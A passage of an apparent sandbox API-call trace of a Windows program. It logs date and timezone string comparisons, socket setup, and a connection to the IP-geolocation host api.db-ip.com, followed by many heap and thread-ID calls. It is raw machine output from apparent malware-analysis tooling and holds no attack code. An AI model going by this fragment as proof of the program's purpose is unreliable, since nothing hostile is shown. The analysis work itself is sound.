3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0118.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0118.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWDT", cchCount2=4) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWST", cchCount2=4) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AZOST", cchCount2=5) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AZT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="B", cchCount2=1) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BDT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BIOT", cchCount2=4) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BIT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BOT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BRT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BST", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BST", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BTT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="C", cchCount2=1) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CAT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CCT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CDT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CDT", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CEDT", cchCount2=4) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CEST", cchCount2=4) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CET", cchCount2=3) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CHADT", cchCount2=5) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CHAST", cchCount2=5) returned 3 [0118.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CHOT", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ChST", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CHUT", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CIST", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CIT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CKT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CLST", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CLT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="COST", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="COT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CST", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CST", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CST", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CST", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CST", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CT", cchCount2=2) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CVT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CWST", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="CXT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="D", cchCount2=1) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="DAVT", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="DDUT", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="DFT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="E", cchCount2=1) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="EASST", cchCount2=5) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="EAST", cchCount2=4) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="EAT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ECT", cchCount2=3) returned 3 [0118.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ECT", cchCount2=3) returned 3 [0118.827] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa90 | out: lpTimeZoneInformation=0x18fa90) returned 0x2 [0118.828] select (in: nfds=0, readfds=0x18fa64, writefds=0x0, exceptfds=0x0, timeout=0x18fa4c*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa64, writefds=0x0, exceptfds=0x0) returned 0 [0118.828] select (in: nfds=0, readfds=0x18fa64, writefds=0x0, exceptfds=0x0, timeout=0x18fa4c*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa64, writefds=0x0, exceptfds=0x0) returned 0 [0118.828] WSASetLastError (iError=0) [0118.828] send (s=0x12c, buf=0x2d51d33*, len=31, flags=0) returned 31 [0118.829] shutdown (s=0x12c, how=1) returned 0 [0118.829] closesocket (s=0x12c) returned 0 [0118.829] socket (af=2, type=1, protocol=0) returned 0x12c [0118.830] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0118.830] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0118.830] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0118.830] htons (hostshort=0x0) returned 0x0 [0118.830] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0118.830] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc008, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0118.830] htons (hostshort=0x8c0) returned 0xc008 [0118.830] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0118.830] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x80f87c, cchASCIIChar=13 | out: lpASCIICharStr="api.db-ip.com") returned 13 [0118.830] GetAddrInfoW (in: pNodeName="api.db-ip.com", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) returned 0 [0118.832] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) [0118.832] htons (hostshort=0x1bb) returned 0xbb01 [0118.832] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=16) returned 0 [0118.853] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc008, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0118.853] htons (hostshort=0x8c0) returned 0xc008 [0118.853] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=0x18fae4) returned 0 [0118.854] htons (hostshort=0xbb01) returned 0x1bb [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d253a0 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ac8 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ae0 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253f0 [0118.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.854] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d48198 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0118.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0118.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0118.855] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0118.855] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d365f0 [0118.855] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d365f0, Size=0x80) returned 0x2d4ead8 [0118.855] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2a0e90 [0118.855] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0e90, Size=0x200) returned 0x2d24e80 [0118.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48198 | out: hHeap=0x2a0000) returned 1 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35cc8 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0118.855] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37488 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25428 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e08 [0118.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.855] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.856] GetCurrentThreadId () returned 0x9fc [0118.857] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.857] GetCurrentThreadId () returned 0x9fc [0118.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0118.858] GetCurrentThreadId () returned 0x9fc [0118.858] GetCurrentThreadId () returned 0x9fc [0118.858] GetCurrentThreadId () returned 0x9fc [0118.858] 